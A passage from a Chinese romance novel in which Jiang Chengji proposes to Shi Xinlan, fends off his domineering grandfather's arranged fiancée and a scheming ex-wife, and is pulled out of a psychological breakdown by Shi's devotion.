“啊!不会吧?天啊!我简直不敢相信……”石馨兰在得到他的肯定之后,又是尖叫又是惊奇,反复不断的念着:“你……你竟然向我求婚……”然后,她突然兴奋的在他的脸上又亲又吻又舔。

江承辑对她这种反应一点都不介意,反而淡笑的对她说:“看来你是答应罗?” 石馨兰正想点头时,却像是想到什么似的,脸色突然变得十分古怪,并以疑惑的眼神瞅着他看,然后沈声的说:“不对、不对……”她用力的摇摇头,然后从他的身上跳下来,非常愤怒的站在床边,用力的瞪着他。

她这突如其来的转变,让江承辑一头雾水,这女人到底又是哪根筋不对了? “又怎么了?”

“江承辑,你这个一点都不浪漫的大混蛋,哪有人求婚像你这样的?我不管,你要重新向我求婚!”

她的要求让江承辑一愣,求婚还有NG重来的吗?“你希望我怎么求婚?” 石馨兰挫败的瞪了他一眼,“求婚的人是你,这个问题你不会自己去想办法吗?更何况,你也还没给我一个要我嫁给你的理由?”

这女人真难搞。他忍不住微蹙起眉思索着,“结婚就结婚,何必这么罗唆?” “我不管,人家一生也不过才结婚一次,你怎么可以让我的梦想幻灭?不管,我要你负责我的梦想。”再怎么想,她都不会想到自己被求婚是在欢爱过后、昏昏欲睡之际,而且还让他这样冒出来的一句话就给搞定了。

更更重要的是,他都还没有说出那句她最想听的话耶,他怎么可以就这么不负责任的想要把它直接忽略过去?

石馨兰其实要的不多,只要一个受重视的感觉和江承辑的真心。

“好吧!”他突然说了这么一句,然后在看到她赤裸裸的站在自己的面前大声抗议时,那副美丽的模样,让他只想将她再压回床上,好好的将她再爱一遍。 压根儿不知道他想法的石馨兰,就这样呆呆的扑向他,对着他的脸颊又亲又吻,“我就知道你对我最好了,那来吧!”

她的邀请正好顺了江承辑的心,他马上露出一抹贪婪的笑,将她压回床上,“没问题。”

对他不安分的举动,江馨兰先是一愣,接着抗议:“不是,人家不是指这个,你这个大色狼!”呜……她的抗议无效,因为一个男人的欲望并不是那么容易浇熄的。

第七章

江承辑决定在这个月月底与石馨兰订婚,并举行盛大的宴会,让所有人分享他们的喜悦,所以石馨兰这几天常常回家去和父母亲一起商量她的婚姻大事。 石馨兰对于自己要嫁给江承辑是肯定与开心的,但她却有点闷,江承辑虽然给了她一顿浪漫的烛光晚餐与慎重的求婚,但怎样都不肯松口对她示爱,让她十分的气闷。

虽然石馨兰知道江承辑是喜欢自己的,要不然也不会选择自己作为终生的伴侣,但是若没从他嘴里亲口听到那三个字,她还是十分的不甘愿。

不过转念一想,她决定给他多一点的时间,反正他们现在是订婚又不是结婚,她有信心可以在结婚前从他的嘴里听到那三个字,到时,她将会是这个世上最快乐幸福的新娘子。

这天下午,石馨兰到育幼院义务教完舞回来,发现门前多了几辆豪华宾士轿车,诧异的问站在书房外的源伯:“源伯,有客人啊?”

源伯点点头,“石小姐回来啦?肚子饿了吧?要不要吃些点心?”他关心的问。

“我不饿,谢谢您的关心。”她摇摇头,觉得源伯的表情十分的奇怪,似乎有些什么不想让她知道的事,看到他不安的频频望着书房,随即道:“书房里有什么大人物来?竟让我们的源伯心神不宁。”源伯是一个十分沈稳的人,不可能会有什么事难得倒他,能让他露出这副反常的模样,那就表示理头的客人绝不是什幺小人物。

“小姐真聪明,是森野老爷来了。”他赞美了她一句,随即语气沉重的说:“唉!每次他来总让少爷的情绪低落阴郁好几天。”

“是森野爷爷?”她惊唿一声,他怎么来了?石馨兰记得江承辑曾告诉过她,他有一个旅居在日本的爷爷,他该不会是因为他们这次的订婚而特地赶来的吧?只是源伯的反应为什么是一副担忧的表情?

“嗯,还带了一位日本小姐。”源伯慢慢的说着,小心翼翼的看着石馨兰的表情,希望她不会不高兴。

“日本小姐?”为什么要带日本小姐,这和参加他们的婚礼有什么关系?她费脑筋想了一会儿,眼珠子灵活的转了转,然后两手互击一掌,开心的嚷叫:“哎呀!该不会是森野爷爷那么老了,还想娶个年轻的小姐吧?”

石馨兰八卦的对源伯顶了一下,语出惊人的继续道:“而他怕承辑不肯同意,所以就趁这次的机会想要带她来给承辑看看,好同意他续弦不成?”听说森野爷爷已经独居好几十年,真没想到临老才来段黄昏之恋。

石馨兰这番异类的想法让源伯惊异了一会儿,在他未笑出声时,他们的身后却传来一阵爆笑的男性低沈嗓音。

“哈哈哈……真是太好笑了!”沈天擎一出书房,听到这番论调笑得就差没抱着肚子。“承辑,你的未婚妻真是太可爱了,竟然有这么宝的想法!”沈天擎拍了一下和他并肩而立的好友,还兀自笑个不停。

沈天擎根本不理会背后那两道锐利又愤恨的目光,还故意提到未婚妻三个字,存心气死老头和那目中无人、任性自大的松版花珍。

如果不是担心石馨兰在知道那老头硬塞一个女人给他时会有什么反应,他真想和沈天擎一起大笑出声。石馨兰的这番话已经够羞辱那个老头,他确实不需要多说什么,该说的,该做的,他刚才都已经说完,他不认为和那老头还有什么好说的。

一个头发花白却依然神采奕奕的老人从他们身后出来瞪了他们一眼,锐利的目光直射向石馨兰,措词也丝毫不客气,厉声道:“哪里来的野丫头,也敢踏到森野家来撒野,还讲出这么不得体的话,真是没家教。”

他严厉又冷酷的言语毫不留情的指责她,令石馨兰莫名其妙又忿忿不平。 “你……你这个老不修!莫名其妙的见人就骂,看起来还真像一只老疯狗,见人就乱吠乱叫。”

可恶!她看起来那么好欺负吗?怎么每个人一见到她就想欺负她?

“你……你这个野丫头,真是反了,竟然敢骂我是疯狗?”他气得脸红脖子粗,一根手杖直指向她。

“哼!谁教你要先骂我,我当然要反击回去,要不然还傻傻的被你欺负?” 江承辑看着她那副凶悍的模样,忍不住感到好笑,除了他以外,就只有她敢对这老头有不驯的态度,也不管老头的地位和名声在这社会上有多崇高。不知为何,看她这个样子真是令他心情舒爽不少,也该有人给老头一个教训了。 “逞一时口舌之快是没有用的,像你这种野丫头,别想我会承认你人我们森野家的门,拓泽他已经有未婚妻,你最好识相点快点滚人,免得到时候难堪。” “什么?未婚妻?”这个消息对石馨兰而言,宛如晴天霹雳,没想到江承辑竟然有未婚妻。这……她愤恨的瞪向那个罪魁祸首,然后上前一把狠狠的揪住江承辑的领带。

“说!为什么有未婚妻还向我求婚?你最好给我一个合理的解释,要不然我就用这个领带把你给勒死!”她语带威胁、目露凶光的狠瞪着他。

石馨兰杀气腾腾的模样倒是出乎众人意料之外,顿时之间,气氛凝结,沈天擎先是一愣,然后闷闷的笑出声。这个女人真是够辣,他只要等着看好戏就好罗,原本想要帮忙,生怕这个小妮子被森野老爷和松版花玲给生吞活剥,这下子看来,或许他连嘴皮子都不必动,就可以免费观赏到一出好戏。

但万万没想到,冲出来的人竟是松版花玲,她上前想要推开石馨兰那不像样的举止,“你这野女人做什么?竟然敢碰我的未婚夫,还不快给我放开!” 看着松版花珍那张美艳的脸,掠过石馨兰心田上的是一抹刺痛,想到要把心爱的男人让出去,真是教人伤心,但她不能原谅的是江承辑的欺骗;不理会松版花玲的叫嚣,她对着江承辑恨恨的说:“我说过,我最讨厌人家欺骗我,你为什么要这么做?”

“我没有欺骗你,她就如同我告诉你的,根本就是一个不重要的女人!”江承辑知道,如果再不开口解释,石馨兰将会愤怒的离开。他可以从她的眼神中看出她的伤心与震惊,他的心思全都摆放在她的身上,在这一刻里,江承辑脑海里唯一的念头就是要留住她,紧紧的将她绑住,让她永远留在自己的身边,那些见鬼的计画全都滚到一边去了。

江承辑伸出手用力的搂住石馨兰的腰,不在乎的任由她拉着他的领带,也不在乎松版花玲倒抽一口气的声音。

他竟然说她是一个不重要的女人,这口气她松版花珍怎么咽得下去?

正待发作,耳朵却又听见江承辑接下来的话,让她连一句话都说不出来,脸色只是受到屈辱般的一阵青一阵白。

“何况,她只是那老头替我安排的女人,我根本没同意,更不可能娶她,我唯一想娶的女人,现在就在我怀里。”

江承辑的话安抚了石馨兰那颗受到创伤的心,她略带不满的朝他的胸膛打了一下,“那你为什么不早点告诉我?”

“因为对我而言,这件事一点都不重要,我不想让你为这件事费心,只想你当个快快乐乐的准新娘。”

江承辑的话,让石馨兰的不满一下子全都消失不见,快乐的偎在他的怀里。唉!没办法,谁教她就是这么爱他,三言两语就被他摆平,更何况,这件事也不是他的错,都是森野老头的错。

哼!石馨兰恶狠狠的瞪着那个臭老头。想要破坏她和江承辑好事的人,她绝不会给好脸色看的。

而松版花玲在听到江承辑对另一个女人的深情告白后,更是羞愤难当,情绪相当愤怒,她走到森野樊宇的面前,对着他发火。“这是怎么一回事?森野先生,你该给我一个交代,当初你可不是这样说的,我的名誉你该如何赔偿!” 松版花珍的态度不再客气,讲话也大声起来。日本企业界和她所有的亲戚朋友,都知道她即将下嫁日本最有价值的单身汉森野拓泽,她这下子颜面岂不尽失?无论如何当然也得给她一个交代才行。

对于她不客气的言行,一向高高在上、固执古板的森野樊宇顿时变了脸色,毫不客气的反驳:“这件事我自会和你多桑洽谈,轮不到你这个丫头片子来教训我。”

江承辑冷眼旁观的看着他们的互动,也懒得理会他们,挽着石馨兰转身就要上楼去。哼!他心里暗嗤:这老头一向自恃甚高又极爱面子,这下子看他怎么去收拾残局?看他的老脸要往哪里摆?

第一回合可以算是他胜了,臭老头,等着接他的下一招吧!

“站住!”森野樊宇中气十足的喝斥。他可是在社会上打滚了将近半个世纪的人,历练如此丰富,吃过的饭也比他多了不知多少,怎会不知他的那一点心思,想和他斗,再等个几百年吧!哪能让他这么如意的置身事外?

江承辑听到他的喝斥声,往前走的脚步顿了一下,又迟疑了一会儿,才转身过来面对他,连同石馨兰一起。

江承辑挑眉望着他,也不先开口,就等着看他要说些什么。

森野樊宇看着江承辑一派的沈静稳定,不似以往大发脾气、总是挑衅他,而显得毛躁浮动的样子,他沈思着,究竟是什么原因让他变得这么稳重……他将目光调往江承辑身旁的女孩子。

虽然长得清秀灵气,但照他看来,这么没教养又泼辣的女人会有什么特出之处?因此自负的他决定不把石馨兰着在眼里,转而用凌厉的眼神看江承辑。“别以为这样你就赢了,我们之间还没完呢!”他用姿态和眼神显露出霸气与不服输的强势,向江承辑宣战着。

森野樊宇将目光再度调向石馨兰,眼神锐利如刀的扫视着她,话却是针对着江承辑而来。“新闻稿不是我发出来的,我也不会参加你们的文定之喜,所以我不会承认她是我们森野家的人。”他强硬的对他说。

“哼!臭老头,你那么老了,怎么还那么爱管闲事?你不肯承认,我们也不希罕,你不来更好,这样我才不会吃不下东西、笑不出来。”

“你说什么?你这死丫头,真是不知死活……”

老人家的话是慢了点,但声音可也十分的洪量,却气得脸红脖子粗。

石馨兰朝他吐了吐舌头,“就算我要死,也绝对会排在你的后面,何况,我说什么你还听不懂?”她忍不住朝他同情的摇了摇头,“可怜喔!年纪大了就不要逞强,得了老年痴呆症这种病我们也不会笑你,如果你早点说我就会好心的告诉你,我看到你吃不下、笑不出的原因,是因为在看到你的时候会觉得反胃。” 沈天擎早就忍不住的爆笑出声,源伯也忍得十分辛苦,不断涨红着脸轻咳着。江承辑则是第一次看到那老家伙栽在一个女人的手里,忍不住感到好笑。 早说过了,石馨兰这女人不但尖牙利嘴,反应也比别人快,再加上她刚才就把帐给记下,才会对老家伙那么不客气,老家伙又偏偏爱意她,这就是瞧扁她的下场!

“你、你……”他气得说不出话,只得朝江承辑道:“你要是娶了这个女人,绝对会后悔。”森野樊宇气得全身发抖,从没人敢用这种语气和他说话,他简直快要气死了。

谁知江承辑却不在乎的耸耸肩,然后对他道:“你错了,我如果没娶她,后悔一辈子的人会是我,所以你赞不赞成、承不承认根本一点都不重要!”石馨兰给了他太多太多,他可以从她的神情举止和眼神之间看出她对他的爱恋与深情,她是唯一不在乎他其他附加价值的人,就是单纯的只爱他这个人,这让他觉得自己好骄傲,再怎样他都不会放开这么可爱的女人。

森野樊宇真的没有想到江承辑回来台湾只不过短短的几个月,竟然有这么大的变化,以前只要他一反对,江承辑不和他吵上半天才奇怪,现在竟然这么平静的以事实来反驳,真是令他感到惊讶!看他望着那女孩时所流露的眼神是如此温柔,连原本冷漠的神情也变得温暖起来,看来他不能小看这个女孩子对他的影响力。

森野集团可是个大企业,怎么可以让这种没有教养的野丫头当森野家的孙媳妇,至少也得和他们同样是个企业家族才行!否则他这么多年来对他处心积虑的安排及栽培岂不白费力气?不行,他绝不允许这样的事发生。

虽然他是个在商场上能唿风唤雨的大人物,很少有事情是他做不到的。不过,“进可攻,退可守”这句话他还懂,既然这招不行,他可以先退一步;这样做并不代表认输,可以得到永远的掌控权的人,才是真正的赢家。

“我不同你辩,这件事我暂时搁下,不过别想我就这么承认这件事。”话一说完,他就偕同松版花珍要离去。

谁知,临走前,石馨兰却又恶意的补上一句:“老头,年纪那么大了,别一副暴躁的样子,要是气爆了血管,那可就完罗!”

“野丫头,尽管逞你的口舌之能,到时候,我看你连哭都哭不出来。”他愤怒的转身大步离去。

森野樊宇离去前眼睛里有着一抹诡异的光芒,令江承辑心里警戒了起来。 沈天擎走到他身旁说:“我看那老头一定有鬼,怎么可能这样就算了?” “我知道,这和他一贯霸道的行事风格不符,等他出招再说,现在也无法去预防什么,你回去休息吧,有什么事明天再说。”

沈天擎点点头,在离去前对石馨兰说了一句话:“提醒我,千万不要惹到你。”看她刚才对付森野老爷的模样,他突然明白,像石馨兰这种恰北北的女人实在是意不得。

谁知,她却朝他吐了吐舌头道:“我才没那么可怕,要不是那老头想要破坏我和承辑的好事,我也不会这么失常,若是被我老爸知道,一定会被我气死。” 她一说完,沈天擎和源伯都笑了起来,而江承辑只能无奈的朝她摇摇头,但心底却为了她如此捍卫他们之间的事而感动。

在沈天擎离去而源伯也下去休息后,江承辑低头看着她,对她道:“谢谢你,馨馨。”

“咦?”她有些疑惑的微偏着头对他道:“谢我什么?”

“因为你那么坚定的站在我身边捍卫我们的婚姻,你说,我该不该谢谢你?” “笨蛋!”石馨兰忍不住骂了他一句,“人家那么爱你,都要把你变成我一个人的了,又怎么可能会对那种想要抢走你的人客气?”

江承辑将她拥入怀里。他可爱的馨馨,总是这么毫不保留的对他表示爱意,明知道得不到相同的回应,却依然不吝惜的给予他无尽的爱,带着一身灿亮的光芒,走进他灰暗的生活,用她的光明、开朗与活泼,和那身傲骨与理直气壮的天真容颜,就这么闯入他的生活,给他带来欢乐与阳光,他真的好爱好爱她! 被自己脑海里形成的念头给验住,爱意竟然就这样自然的涌现,几乎要淹没了他,是呀!他怎么到现在才明白,原来,自己已经这么这么的爱她。

爱她的笑、爱她的莽撞、爱她如阳光般的性子。激动的他捧起她的脸,将自己的唇印上她的。

这个吻深而长,倾注了所有对她的柔情与深意……不管那老头如何激烈的反对,这辈子他绝不会放开她的……

石馨兰震惊的看着眼前的一幕,简直不敢相信自己眼睛看到的事实,经由半敞开的房门,她看见一个身材姣好却陌生的女孩几乎半裸的挂在江承辑的身上,她不可置信的瞪视着他,眼里满是震晾。

原本她还不相信江承辑会背叛她,那老头刚才在楼下所说的话,她一个字都不信,就算林紫音是他的前妻又如何?她有这个自信江承辑只喜欢她一个;但是让她不得不怀疑事情的真实性,是因为这些天来,江承辑每次都乙太忙来回绝她的陪伴,也不再像之前那样,在她回家陪父母时发出抗议并诱拐她回到别墅来,还要她多在家里住几天。

而现下,那老头要她自己上来看清事实的真相,没想到,真相竟然是这么的残酷。

也许是她发出声音了吧,当江承辑擡头看见她时,石馨兰下意识的反应是转头就跑。

因为她知道,江承辑依然爱他的前妻,那个让他有伤痕的女人。

江承辑在看见石馨兰时,低咒一声,然后将她用力推开,冷冷的说:“够了,我想这样就够了。”

林紫音不解的还想要偎上去。这些天以来,江承辑好不容易肯碰她,她当然要把握这次的机会。“辑,人家还想……”

江承辑冷哼:“若真那么想,就回家找你丈夫吧!恐怕他在看到这卷你和我这些天来情话绵绵的带子时,不会让你太好过。”

“辑?你……你在报复我!”林紫音的脸色丕变,真没想到,他竟然会用这种方式……

“没错!是你自己送上门的,那我又何乐而不为呢?”他的目光一转而高清冷。

“既然是那个老头找你来的,我又怎么能不回送你一个大礼物?听说你丈夫是一个十分好面子又无法忍受戴绿帽的男人,我想下场会如何,你自己心底该有个谱吧?”

“你……你好狠!”她的丈夫是一个残虐又冷血的男人,她当时看上他家有钱,却没想到他是一个可怕的男人,要的是完全的忠贞。而他多疑的天性,让她着实吃了不少苦头,若是被他知道,那她的下场可不只是受皮肉之苦而已,想到这里,林紫音忍不住脸色发白。

“那老头想要利用你来破坏我和馨馨,你敢接下这个任务,就必须有承受后果的勇气,这只不过是给你一个小小的教训罢了!”谁敢得罪他,他绝对会加以还击,再也不是当年那个情感脆弱的男孩。

“辑,确实是他叫我来的,但是在看到你之后,我就改变主意了,我还爱着你,我……”

林紫音被他那如寒冰般的眼神给冻住了话语,散发着肃杀之气的身体朝她靠近,让她颤抖得连连后退。

“让我明白的告诉你,我和你之间已经是不可能了,别以为我不知道你在打什么如意算盘。这全是因为那老头给你的金额太过诱人,所以你才会接下这个任务,因为你的小开丈夫对你的零用钱控管得很紧,而那些小钱你根本就看不上眼。 但你在看到我之后,决定改变主意,想要巴上我,因为我比较大方,可以供应你庞大的花费;现在你又对我表达爱意,只是为了不要回到你那个多疑的丈夫身边受苦,只可惜,我对你连一点感觉都没有,只有鄙视和厌恶,对于我回敬你的一点点心意,你就不用太感激我了。“他冷酷的扬着手上的带子,对她阴森的笑着。

林紫音知道大势已去,只好赶快离去,她现在要担心的是将要面对的皮肉之苦与丈夫的无情责罚,或许她该拿着那张由森野老爷开给她的支票远走高飞才对,她现在终于尝到自食其果的下场。

江承辑对于石馨兰伤心的离去,连一句质问的话都没有,感到十分的不安,依她的性子,怎么可能会这样不战而退?她的勇气到哪里去了?他快步的走下搂,在看到那老头脸上得意的笑容时,顿时明白一切。

江承辑丝毫不加理会的走过他身边,想要去找石馨兰解释一切,无奈不论他怎么找,就是再也找不到她的下落,让他气得找老头理论。

“你究竟是怎么和她说的?”

“我何必多说什么?这些天来你陪着林紫音,想着的不就是你的报复吗?这下子可好,是你亲手把她逼走的,又关我什么事?”

“你……”江承辑无力去反驳他的话。是的,是他亲手把石馨兰远走,他对林紫音的报复根本一点意义都没有,他连得到报复的快感也没有,甚至还觉得空虚。这些天来没有她的消息,让他一点都不快乐,好像少了什么似的,心空荡荡的,根本就找不到真实的感觉。

就在这时,源伯和沈天擎一起走了进来,沈天擎对失意的江承辑道:“你这个大笨蛋,何必为了要报复林紫音而让馨兰给跑掉,这样值得吗?”他气极败坏的道。这些天来,他也四处找着石馨兰,无奈她却毫无音讯,就连她的父母都不知道她跑到哪里去了,完全像泡沫一般,消失在这世上。

江承辑没有反驳,事实上,在他放弃和老家伙理论之时,他就不再开口说话,就算沈天擎骂他,他也不还口。

在气头上的沈天擎根本没有发现他的不对劲,只是一个劲儿的对他说:“你知不知道,馨兰曾打过电话回家,告知她父母她打算在外住一阵子,要他们代为取消婚约。”沈天擎没好气的道,就是不懂江承辑脑袋里到底在想什么。不是告诉过他不要只想着报仇吗?谁知他却一意孤行,这下子可好,把人给气跑了,看他到哪里去找新娘?

看这种情形,石馨兰根本就是故意要躲着他们,就算再怎么找,也别想找得到人。

就在他这么想时,却发现江承辑十分的不对劲,他僵硬着身躯,从沈天擎进来到现在连一句话都没说,这种情况实在是太反常,难不成刺激过大,让他变得怪怪的?

沈天擎倏然想起江承辑之前病发的情况,吓了一大跳的连忙闪身来到他的面前,看到他那张脸颊上全是汗水,让他忍不住惊喊上声:“承辑!你不要吓我。” 第八章

就在他们不知所措之际,让沈天擎更惊讶的是站在门口那抹纤细的身影,不就是这些日子来都找不到的石馨兰吗?他真要以为他出现幻觉了。

“馨兰?是你!”她……她怎么会出现在这里?不是早就跑得不见踪影了吗? 石馨兰的注意力全都放在江承辑的身上,她会跑回来,就是因为要和他说个清楚,这些天来的时间也够她将事情想清楚了,对于当时自己冲动的跑掉,她实在懊悔不已,这根本就一点都不像她的个性。

她又不是个懦弱的人,为什么却做出懦夫才会做的事情?愈想她就愈气自己,为什么在当时不要上前与他对质,这样子所有的事情不就清楚了吗?

或许就是因为爱得深,她才会在当时选择逃避,不想要从江承辑的口中证实他的所爱是他的前任妻子而不是她,这不是她当时所能承受的残酷事实。 但现在石馨兰情愿找他问个清楚,给自己一个机会,她不相信自己会输给那个女人,他们之间所发生的事不是那么容易磨灭,她几乎要忘记了,有时候,在某种特殊情况下,就算是亲眼所见的情况,也未必是事情的真相。

她如此说服着自己,只因为已经爱上他到无法自拔的地步,这些天的分离,更让她看清她根本就不能没有江承辑,这种锥心的痛楚,让她几乎撑不下去…… 石馨兰这才明白,自己是永无翻身之日,因为她已深陷其中,认清了事实,她决定要为了她对他的爱再努力一次。幸福有时要靠自己去追求、去把握的,而她深信,只要她努力过,就算结果不是她要的,至少也能图一个无憾与不悔。 这就是她现在会出现在这里的原因,石馨兰直直的朝背对着她的江承辑走去,却发现他整个人都变得僵硬,像化石般的僵立着,双手紧握成拳。她正想要上前询问他,却发现沈天擎拉住她的手臂,并对她忧虑的道:“馨兰,他找了你好多天,不要怀疑他背叛你,你所看到的那一幕只是他的报复而已。”

“那他现在……”

“唉!他病发了。”

“病发?什么意思?”

“因为他曾受过很大的打击,让他必须去看心理医生……”不顾石馨兰那震惊愕然的表情,沈天擎继续道:“这之间的原因,还是让承辑来告诉你吧!”他担忧的望了动也不动的江承辑一眼,“只是,我好怕他再也不愿从那个世界里出来。那次我费了好大的力气才把他拉出来,但失去你的恐惧感让他又缩了回去,我想,他对你的用情真的很深,只是他一直不愿对你亲口承认罢了!”

石馨兰简直无法相信这种事会发生在江承辑的身上,她根本就是说不出话来,脑海里还在消化着沈天擎告诉她的劲爆消息,直到沈天擎沉重的握住她的手。 “馨兰,陪着他。他需要你,只有你才能把他拉出来,我相信你一定可以做到。”

看到沈天擎脸上慎重又沉重的表情,石馨兰的斗志被燃了起来,她骄傲的甩了甩头发对他道:“我当然可以做到,我才不准他沈浸在他的世界里把我抛下,我还等着他开口说爱我呢!”

连想都没有想地,她的双手由江承辑宽阔的背部往前伸,紧紧地圈住他,将一边的脸颊贴在他坚实温热却又僵硬的身躯上。“承辑,我会一直陪你,直到你醒来为止,不论你躲到哪个鬼地方去,我都非把你拉回来不可,因为你还欠我一个婚礼。”

看到她如此坚决的态度与勇敢的表现,沈天擎和源怕都非常的动容,他们相信石馨兰一定有办法做到,要不然这世上恐怕再也没有人可以做到。

由背后感受着他的体温,却愕然的发现她环抱着的男性躯体正迅速失温中,身体慢慢冰冷,整个人还开始打颤。她心惊的发现在如此炎热的天气里,他竟浑身冰冷,身上的衬衫更已湿透。

她心慌极了,连忙绕到他身前,发现他紧闭着双眼,脸色发白,整个脸上布满汗水,似乎整个人都浸过水般的潮湿不已。她慌了,刚才的坚决去了一半,连着沈天擎的名字,向他求救。

江承辑似乎在忍受着极大的痛苦,整个五官扭曲,眉头紧皱得仿佛打结似的,脸部线部绷得死紧,嘴唇也紧抿着,连牙齿都因寒颤而互相碰撞。

“承辑,你怎么了?你不要吓我?”

沈天擎来到她的身边,对石馨兰道:“我不是告诉你他发病了吗?加油,馨兰,你一定可以用你的爱把他唤回来。”

她两手捧着他的脸,急急的唿唤着,一遍又一遍,一次又一次……看到他如此痛苦的模样,眼眶里的泪又急又快,她替他好心疼……天哪!他到底遭遇过什么?她的耳朵根本就听不到任何的声音,一心一意只想要心爱的他回到身边。 好不容易她的唿唤有了回应,他睁开了双眼望着她,有些欣喜,可她又随即察觉到了不对劲之处,他的双眼虽已睁开看着她,漆黑的眼眸却像个黑洞般,黑又深沈却没有任何情绪变化,没有平常锐利盯着她时的神色,也没有因为欲望而变得幽暗深邃,只有一片空洞黑暗,他的眼茫然失焦,虽然看着她,却毫无灵魂可言,仿佛他的灵魂已坠入了无尽的深渊……

这样的他令她害怕,也令她恐惧,石馨兰好害怕自己没有那个力量,也没有那个自信可以唤回他。那么,她就会失去他,这种害怕失去他的感受紧紧的攫住了她,让她心慌、心痛,为什么意志力如此坚强的他,会任由这么强大的悲哀及绝望淹没他也涌向她?

老天!不要再折磨承辑了,她看得心好痛、好疼,可不可以让她代他受过?若这是他必须要受的惩罚,那么就由她来代他受过吧!

看着他在她的唿喊下依旧唤不回迷失的灵魂,她开始从他的眉、他的眼、他的唇……一一落下她炽热又深情的吻,企图以她最深情的爱唤回他。“承辑,你不要丢下我,你说过我们要在一起的,不管怎么样,我们都要在一起。你怎么可以丢下我?怎么可以?若是老天非要处罚你,那么就由我来受过,让我承受你的痛苦,只要能够不要让你那么苦……”

石馨兰的深情呐喊令人为之鼻酸,但此刻的江承辑却掉人多年前的回忆,在里面挣扎、痛苦……几乎要被里面强大的黑暗给吸走,想让纷嚷、嘈杂远离,想坠入永远安静却黑暗的世界里……

在这个用黑色丝绸包覆成的世界里,有着最舒适的窝,可也有那个当年负他的女人;她嘲笑着、讥讽着他,似乎有好几个她环绕在四周,开始大声恶意且尖锐的冷笑着。他的耳朵、他的头……

江承辑用力的抱着自己的头,想阻隔这些令他烦闷刺耳的笑声,可是他的头不能动,他的脸似乎被禁锢住不能动弹……他想叫,可是喉咙却发不出一点声音。突然,他的面前出现了一条全身黑色的龙。

它在他面前晃,口里发出声音──上来吧!将一切交给我,包括你的身、你的心、你的灵魂。所有的嘈杂烦恼将不再困扰你,只有安静,只要交给我…… 江承辑几乎就要跟随它而去,只要能让他远离那尖锐的痛苦,但是他却犹豫了,因为一丝光亮穿透黑暗,让他感到脸颊上有着刺痛,那种炽热的灼烫好像水般,不断的滴在他的脸上,那温热的抚触也让他舍不得就此离去……

就在此时,一道阳光突然向他照射而来,让他忍不住眯起眼睛,却看见了石馨兰那张对他带着笑意的脸庞与张开的双手,感到自己似乎不再那么的空虚及痛苦,渐渐地也不再感到寒冷,滴在脸上的热泪融入他的骨血,融化他冰冷的心房,暖流慢慢在他的心窝流动……

江承辑握着她伸出的双手,慢慢跟随她后退的身子,往无比光亮的阳光而去,身后的黑龙也渐渐的离他愈来愈远……愈来愈远……

他的意识慢慢的回复,理智也渐渐清朗,睁开眼望见的就是她,感受到的就是她馨香柔软的胴体,她的吻不断的落在他的身上,那熨荡灼热的吻一一烙下,夹带着湿湿的水气……

他感受到她悲伤的吻与源源不绝的爱意,伸出双手撑住她将她抱向自己与之平视,他不忍她的悲伤继续扩大,看见她美丽灵黠的大眼此刻盈满着泪水,令他的心为之揪紧。

“别哭。”

在他面前时常气得大唿小叫的石馨兰,竟然也会有流泪的一天?而这都是为了他!虽然他很高兴她是在乎他的,但是他却更心疼她的泪。

石馨兰听到他的话,随即一愣,然后像突然领悟什么似的,又叫又笑又哭的嚷道:“你醒了!真的醒了!”不管他点头的回应与深深的叹气,她随即又对沈天擎他们说着同样的话。

“是你的爱将他唤回来的,既然承辑没事了,那你们好好聊聊,我先走了。”他拉着源伯离开,让他们去解决彼此之间的问题。

浑然不觉他们的离去,江承辑陷在自己的思绪中,他根本就不想让她看到,也不想让她知道他的秘密,却反而让她经历了全部……

他知道自己刚才是怎么回事,曾经他也如此过,而且沈浸在自己的世界里足足有三个月之久,要不是沈天擎不放弃,请了最好的心理医生来治疗,他肯定永远都要待在黑暗世界中一辈子。

医生说那不过是他想逃避事实而创造出来的幻想世界,很容易令他永不能翻身,他一向控制得很好,也不曾有任何事能令他失控。

没想到却因为意识到自己失去馨兰就令他完全失控,只因为他太过爱她,已爱到不能失去她的地步。他早知道自己对她的感情,没想到她这次的离去却让他更加明白,自己竟对她有着如此之深、如此疯狂的爱恋,让他无法承受失去她的痛苦。

江承辑知道这次若不是她的坚持,与感受到她一直散发出源源不绝的爱意,他绝对走不出来,这次能走出来,他察觉到和以往不同,心灵似乎平静了很多,也感受到解脱。

他知道自己的灵魂已找到出口,阴霾的心情已连根拔起,整个人像是大病一场刚痊愈的样子,体力虚脱不少,不过他依旧紧紧的抱着她,汲取着她身上的温暖、她体内源源不绝传给他的力量。

“一定吓到你了吧?抱歉!”他知道自己失常的行为一定吓到了她。

石馨兰摇摇头,“我只怕自己不能叫醒你,也恨自己的无能为力,只能眼睁睁的看着你痛苦的沈迷在自己的世界,却什么忙都帮不上。”她的神情里有着残存的恐惧,而这种恐惧并不是怕他这个人,而是怕自己拉不回他。

“傻瓜!”江承辑充满疼惜的轻斥着,知道石馨兰对他只有单纯的关心与爱,他好感动,她并没有因为自己的失常而离开。之前虽然心里要自己相信她,可是总对她有着一份存疑,今天她的行动更加肯定了她对他的爱,他知道自己不会再怀疑她的爱能不能经得起现实的考验,他相信她绝对可以!

“你想知道这是怎么回事吗?”

“你愿意告诉我吗?”听他这么说,她睁着晶亮的眼一脸的期盼,她当然想知道他所有的一切,也想知道究竟是什么原因让他变成这样?

“嗯。”于是他开始从他的父母说起……

森野治央是纯正日本血统的日本人,他在二十二岁时到台湾留学,与何彩云,也就是江承辑的妈妈在学校认识进而相恋。她是道地的台湾人,不过这段异国婚姻并没有得到双方家长的认同,尤其以森野治央的爸爸反对得最为激烈。 两人的真心相爱得不到双方父母的认同,使得他们十分懊恼,不过森野治央非常爱这个长得娇小又美丽的女人,所以他不顾双方父母的反对在台湾公证结婚,就算森野樊宇气得跳脚,扬言与他断绝父子关系,也依然坚持所爱。

何彩音则是在不顾父母反对与他公证结婚后,才回去得到父母的谅解,他们虽然不是很赞同,但也勉强接受这个日本女婿。

森野治央是一个十分优秀的商业奇才,一边在学校攻读博士,一边和几位在台湾的好朋友开设公司。从小公司开始经营,一直慢慢的将公司扩展,直到两人因飞机失事罹难为止,已成为一间规模庞大的公司。不过,因为公司负责人挂的最好朋友的名字,所以森野樊宇根本不知道这间公司的存在。

美其名江承辑是领着父母钜额保险金过生活,实际上则是领着森野治央的股分及薪水过活,所以生活十分优渥。当时年仅十岁的江承辑早已是一家跨国公司的拥有者,而公司的一切则由父亲的好友暂时打理,当他年满十八岁时,对方才交回经营权。

